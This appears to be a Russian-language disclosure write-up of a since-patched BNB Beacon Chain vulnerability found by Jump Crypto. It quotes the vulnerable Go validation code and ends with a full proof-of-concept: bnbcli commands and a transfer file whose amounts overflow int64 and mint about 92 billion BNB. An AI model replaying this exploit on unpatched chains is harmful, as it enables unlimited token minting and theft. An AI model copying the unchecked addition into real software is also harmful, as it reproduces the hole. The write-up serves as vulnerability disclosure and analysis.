8 февраля 2023 компания Jump Crypto сообщила команде BNB об уязвимости, которая могла позволить злоумышленникам майнить неограниченное количество токенов. Серьезность этой уязвимости побудила команду BNB оперативно исправить ее в течение 24 часов после получения сообщения. К счастью, уязвимость не была использована, и финансовые потери не были понесены. В противном случае масштабы атаки могли бы оказаться неисчислимыми.
/ Coin hold some amount of one currency
type Coin struct {
Denom string `json:"denom"`
Amount int64 `json:"amount"`
}
//https://github.com/bnb-chain/bnc-cosmos-sdk/blob/6979480679f6c4980aa5a5ac11ce874f54f2a927/x/bank/msgs.go
// MsgSend - high level transaction of the coin module
type MsgSend struct {
Inputs []Input `json:"inputs"`
Outputs []Output `json:"outputs"`
}
// Transaction Input
type Input struct {
Address sdk.AccAddress `json:"address"`
Coins sdk.Coins `json:"coins"`
}
// Transaction Output
type Output struct {
Address sdk.AccAddress `json:"address"`
Coins sdk.Coins `json:"coins"`
}
// Coins is a set of Coin, one per currency
type Coins []Coin
// ValidateBasic - validate transaction input
func (in Input) ValidateBasic() sdk.Error {
if len(in.Address) != sdk.AddrLen {
return sdk.ErrInvalidAddress(in.Address.String())
}
if !in.Coins.IsValid() {
return sdk.ErrInvalidCoins(in.Coins.String())
}
if !in.Coins.IsPositive() {
return sdk.ErrInvalidCoins(in.Coins.String())
}
return nil
}
// ValidateBasic - validate transaction output
func (out Output) ValidateBasic() sdk.Error {
if len(out.Address) != sdk.AddrLen {
return sdk.ErrInvalidAddress(out.Address.String())
}
if !out.Coins.IsValid() {
return sdk.ErrInvalidCoins(out.Coins.String())
}
if !out.Coins.IsPositive() {
return sdk.ErrInvalidCoins(out.Coins.String())
}
return nil
}
// Implements Msg.
func (msg MsgSend) ValidateBasic() sdk.Error {
[..]
// make sure all inputs and outputs are individually valid
var totalIn, totalOut sdk.Coins
for _, in := range msg.Inputs {
if err := in.ValidateBasic(); err != nil {
return err.TraceSDK("")
}
totalIn = totalIn.Plus(in.Coins) // (A)
}
for _, out := range msg.Outputs {
if err := out.ValidateBasic(); err != nil {
return err.TraceSDK("")
}
totalOut = totalOut.Plus(out.Coins) // (B)
}
// make sure inputs and outputs match
if !totalIn.IsEqual(totalOut) {
return sdk.ErrInvalidCoins(totalIn.String()).TraceSDK("inputs and outputs don't match")
}
return nil
}
// Adds amounts of two coins with same denom
func (coin Coin) Plus(coinB Coin) Coin {
if !coin.SameDenomAs(coinB) {
return coin
}
return Coin{coin.Denom, coin.Amount + coinB.Amount}
}
$ # Sender Account
$ bnbcli account bnb1sdg96khysz899gjhucmep6as8zh6zam4u6j6c3 --chain-id=${chainId} | jq ".value.base.coins"
[
{ // dev0
"denom": "BNB",
"amount": "100000060"
}
]
$ # Destination Account does not exist yet
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
ERROR: No account with address bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp was found in the state.
$ # Transfer details to trigger the overflow
$ cat transfer.json
[
{
"to":"bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp",
"amount":"9223372036854775000:BNB"
},
{
"to":"bnb1a8p35jlfzz7td4tljcrpfw3gv9z48ady6l248d",
"amount":"9223372036854775000:BNB"
},
{
"to":"bnb1dl0x933432der5rnafk4037dwtk8rzmh59jv2h",
"amount": "1617:BNB" }
]
$ # Send the transfer
$ bnbcli token multi-send --chain-id=${chainId} --from dev0 --transfers-file transfer.json
Password to sign with 'dev0':
Committed at block 17449
$ # Destination account now has ~92 billion BNB tokens
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
[
{
"denom": "BNB",
"amount": "9223372036854775000"
}
]